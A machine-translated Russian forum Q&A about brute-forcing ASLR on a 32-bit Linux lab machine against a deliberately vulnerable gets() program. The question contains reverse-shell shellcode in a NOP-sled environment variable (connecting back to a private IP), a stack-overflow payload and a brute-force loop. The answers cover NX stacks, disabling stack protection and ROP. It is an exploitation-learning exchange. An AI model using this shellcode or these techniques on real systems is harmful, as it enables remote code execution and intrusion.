ASLR брутфорс
Я пытался на практике использовать реализацию ASLR на моей машине. Во-первых, я должен убедиться, что ASLR включен.
cat /proc/sys/kernel/randomize_va_space
1
Я использую машину:-
bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux
Моя программа проста, как следует.
bt ~ # cat t.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}
Чтобы использовать это, я создаю переменную среды следующим образом. Как видите, у него действительно огромные сани с кодом эксплойта для обратной оболочки.
export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
Я узнаю адрес переменной окружения, используя следующую C-программу:
int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}
Я получаю адрес как 0xbfefadfd
,
Я выяснил, что переполнение обратного адреса занимает 76 bytes of something
+ 4 bytes of the return address
, Итак, для того, чтобы перебить, я делаю:
$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done
Как и ожидалось, я получаю журнал ошибок сегментации, однако, я не получаю обратную оболочку даже после запуска программы в течение 30 минут. Что-то я здесь не так делаю?
3 ответа
Возможно, стек не является исполняемым. Вы можете проверить с readelf
, Если GNU_STACK
раздел не помечен как исполняемый, ваше приложение имеет стек NX.
Кстати, в этом случае есть лучший подход к победе над ASLR.
Что вы можете сделать, так это вернуться в раздел.text, адрес которого ASLR не изменяет. pop-ret, pop-pop-ret будет выдвигать стек до тех пор, пока вы не достигнете некоторых "полезных" значений То, что можно использовать, очень ситуативно. Обычно вы будете искать указатели для ввода строк, переменных env и т. Д.
Кроме того, возвратно-ориентированное программирование (ROP) в настоящее время является модным словом. Проверьте это.
Есть несколько вещей, которые вы должны принять во внимание. 1. Ваш шеллкод должен соответствовать вашей архитектуре. (это легко проверить). 2. Поскольку вы помещаете свой шелл-код в стек, вы должны убедиться, что стек является исполняемым. Один из способов добиться этого - собрать флаг "-z execstack" для gcc.
Кроме того, могут быть и другие подходы, которые могут увеличить ваши шансы на правильный адрес.
Я не знаю, на какой платформе вы это примеряете, но очень вероятно, что помимо ASLR ваш gcc по умолчанию также использует канарейку / защиту стека. Чтобы отключить эту компиляцию с -fno-stack-protector.